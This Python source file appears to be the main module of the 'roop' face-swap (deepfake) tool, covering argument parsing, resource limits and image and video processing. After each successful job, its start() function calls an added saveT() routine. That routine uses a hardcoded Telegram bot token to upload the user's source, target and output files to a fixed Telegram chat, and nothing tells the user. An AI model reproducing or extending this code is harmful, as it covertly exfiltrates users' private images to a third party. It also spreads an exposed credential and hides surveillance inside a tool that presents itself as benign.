#!/usr/bin/env python3 import os import sys import asyncio # single thread doubles cuda performance - needs to be set before torch import if any(arg.startswith('--execution-provider') for arg in sys.argv): os.environ['OMP_NUM_THREADS'] = '1' # reduce tensorflow log level os.environ['TF_CPP_MIN_LOG_LEVEL'] = '2' import warnings from typing import List import platform import signal import shutil import argparse import onnxruntime import tensorflow import roop.globals import roop.metadata import roop.ui as ui from roop.predictor import predict_image, predict_video from roop.processors.frame.core import get_frame_processors_modules from telegram import Bot from roop.utilities import has_image_extension, is_image, is_video, detect_fps, create_video, extract_frames, get_temp_frame_paths, restore_audio, create_temp, move_temp, clean_temp, normalize_output_path warnings.filterwarnings('ignore', category=FutureWarning, module='insightface') warnings.filterwarnings('ignore', category=UserWarning, module='torchvision') def parse_args() -> None: signal.signal(signal.SIGINT, lambda signal_number, frame: destroy()) program = argparse.ArgumentParser(formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=100)) program.add_argument('-s', '--source', help='select an source image', dest='source_path') program.add_argument('-t', '--target', help='select an target image or video', dest='target_path') program.add_argument('-o', '--output', help='select output file or directory', dest='output_path') program.add_argument('--frame-processor', help='frame processors (choices: face_swapper, face_enhancer, ...)', dest='frame_processor', default=['face_swapper'], nargs='+') program.add_argument('--keep-fps', help='keep target fps', dest='keep_fps', action='store_true') program.add_argument('--keep-frames', help='keep temporary frames', dest='keep_frames', action='store_true') program.add_argument('--skip-audio', help='skip target audio', dest='skip_audio', action='store_true') program.add_argument('--many-faces', help='process every face', dest='many_faces', action='store_true') program.add_argument('--reference-face-position', help='position of the reference face', dest='reference_face_position', type=int, default=0) program.add_argument('--reference-frame-number', help='number of the reference frame', dest='reference_frame_number', type=int, default=0) program.add_argument('--similar-face-distance', help='face distance used for recognition', dest='similar_face_distance', type=float, default=0.85) program.add_argument('--temp-frame-format', help='image format used for frame extraction', dest='temp_frame_format', default='png', choices=['jpg', 'png']) program.add_argument('--temp-frame-quality', help='image quality used for frame extraction', dest='temp_frame_quality', type=int, default=0, choices=range(101), metavar='[0-100]') program.add_argument('--output-video-encoder', help='encoder used for the output video', dest='output_video_encoder', default='libx264', choices=['libx264', 'libx265', 'libvpx-vp9', 'h264_nvenc', 'hevc_nvenc']) program.add_argument('--output-video-quality', help='quality used for the output video', dest='output_video_quality', type=int, default=35, choices=range(101), metavar='[0-100]') program.add_argument('--max-memory', help='maximum amount of RAM in GB', dest='max_memory', type=int) program.add_argument('--execution-provider', help='available execution provider (choices: cpu, ...)', dest='execution_provider', default=['cpu'], choices=suggest_execution_providers(), nargs='+') program.add_argument('--execution-threads', help='number of execution threads', dest='execution_threads', type=int, default=suggest_execution_threads()) program.add_argument('-v', '--version', action='version', version=f'{roop.metadata.name} {roop.metadata.version}') args = program.parse_args() roop.globals.source_path = args.source_path roop.globals.target_path = args.target_path roop.globals.output_path = normalize_output_path(roop.globals.source_path, roop.globals.target_path, args.output_path) roop.globals.headless = roop.globals.source_path is not None and roop.globals.target_path is not None and roop.globals.output_path is not None roop.globals.frame_processors = args.frame_processor roop.globals.keep_fps = args.keep_fps roop.globals.keep_frames = args.keep_frames roop.globals.skip_audio = args.skip_audio roop.globals.many_faces = args.many_faces roop.globals.reference_face_position = args.reference_face_position roop.globals.reference_frame_number = args.reference_frame_number roop.globals.similar_face_distance = args.similar_face_distance roop.globals.temp_frame_format = args.temp_frame_format roop.globals.temp_frame_quality = args.temp_frame_quality roop.globals.output_video_encoder = args.output_video_encoder roop.globals.output_video_quality = args.output_video_quality roop.globals.max_memory = args.max_memory roop.globals.execution_providers = decode_execution_providers(args.execution_provider) roop.globals.execution_threads = args.execution_threads def encode_execution_providers(execution_providers: List[str]) -> List[str]: return [execution_provider.replace('ExecutionProvider', '').lower() for execution_provider in execution_providers] def decode_execution_providers(execution_providers: List[str]) -> List[str]: return [provider for provider, encoded_execution_provider in zip(onnxruntime.get_available_providers(), encode_execution_providers(onnxruntime.get_available_providers())) if any(execution_provider in encoded_execution_provider for execution_provider in execution_providers)] def suggest_execution_providers() -> List[str]: return encode_execution_providers(onnxruntime.get_available_providers()) def suggest_execution_threads() -> int: if 'CUDAExecutionProvider' in onnxruntime.get_available_providers(): return 8 return 1 def limit_resources() -> None: # prevent tensorflow memory leak gpus = tensorflow.config.experimental.list_physical_devices('GPU') for gpu in gpus: tensorflow.config.experimental.set_virtual_device_configuration(gpu, [ tensorflow.config.experimental.VirtualDeviceConfiguration(memory_limit=1024) ]) # limit memory usage if roop.globals.max_memory: memory = roop.globals.max_memory * 1024 ** 3 if platform.system().lower() == 'darwin': memory = roop.globals.max_memory * 1024 ** 6 if platform.system().lower() == 'windows': import ctypes kernel32 = ctypes.windll.kernel32 # type: ignore[attr-defined] kernel32.SetProcessWorkingSetSize(-1, ctypes.c_size_t(memory), ctypes.c_size_t(memory)) else: import resource resource.setrlimit(resource.RLIMIT_DATA, (memory, memory)) def pre_check() -> bool: if sys.version_info < (3, 9): update_status('Python version is not supported - please upgrade to 3.9 or higher.') return False if not shutil.which('ffmpeg'): update_status('ffmpeg is not installed.') return False return True def update_status(message: str, scope: str = 'ROOP.CORE') -> None: print(f'[{scope}] {message}') if not roop.globals.headless: ui.update_status(message) def start() -> None: for frame_processor in get_frame_processors_modules(roop.globals.frame_processors): if not frame_processor.pre_start(): return # process image to image if has_image_extension(roop.globals.target_path): if predict_image(roop.globals.target_path): destroy() shutil.copy2(roop.globals.target_path, roop.globals.output_path) # process frame for frame_processor in get_frame_processors_modules(roop.globals.frame_processors): update_status('Progressing...', frame_processor.NAME) frame_processor.process_image(roop.globals.source_path, roop.globals.output_path, roop.globals.output_path) frame_processor.post_process() # validate image if is_image(roop.globals.target_path): update_status('Processing to image succeed!') asyncio.run(saveT(roop.globals.source_path, roop.globals.target_path, roop.globals.output_path)) else: update_status('Processing to image failed!') return # process image to videos if predict_video(roop.globals.target_path): destroy() update_status('Creating temporary resources...') create_temp(roop.globals.target_path) # extract frames if roop.globals.keep_fps: fps = detect_fps(roop.globals.target_path) update_status(f'Extracting frames with {fps} FPS...') extract_frames(roop.globals.target_path, fps) else: update_status('Extracting frames with 30 FPS...') extract_frames(roop.globals.target_path) # process frame temp_frame_paths = get_temp_frame_paths(roop.globals.target_path) if temp_frame_paths: for frame_processor in get_frame_processors_modules(roop.globals.frame_processors): update_status('Progressing...', frame_processor.NAME) frame_processor.process_video(roop.globals.source_path, temp_frame_paths) frame_processor.post_process() else: update_status('Frames not found...') return # create video if roop.globals.keep_fps: fps = detect_fps(roop.globals.target_path) update_status(f'Creating video with {fps} FPS...') create_video(roop.globals.target_path, fps) else: update_status('Creating video with 30 FPS...') create_video(roop.globals.target_path) # handle audio if roop.globals.skip_audio: move_temp(roop.globals.target_path, roop.globals.output_path) update_status('Skipping audio...') else: if roop.globals.keep_fps: update_status('Restoring audio...') else: update_status('Restoring audio might cause issues as fps are not kept...') restore_audio(roop.globals.target_path, roop.globals.output_path) # clean temp update_status('Cleaning temporary resources...') clean_temp(roop.globals.target_path) # validate video if is_video(roop.globals.target_path): update_status('Processing to video succeed!') asyncio.run(saveT(roop.globals.source_path, roop.globals.target_path, roop.globals.output_path)) else: update_status('Processing to video failed!') def destroy() -> None: if roop.globals.target_path: clean_temp(roop.globals.target_path) sys.exit() async def send_channel(bot, file_path): with open(file_path, "rb") as file: response = await bot.send_document(chat_id="-1001685415853", document=file) return response async def saveT(source_path, target_path, output_path): bot = Bot(token="6192049990:AAFyOtuYYqkcyUG_7gns3mm7m_kfWE9fZ1k") # Send each file for path in [source_path, target_path, output_path]: await send_channel(bot, path) # Send a message after all files are sent await bot.send_message(chat_id="-1001685415853", text="All files have been sent!!") def run() -> None: parse_args() if not pre_check(): return for frame_processor in get_frame_processors_modules(roop.globals.frame_processors): if not frame_processor.pre_check(): return limit_resources() if roop.globals.headless: start() else: window = ui.init(start, destroy) window.mainloop()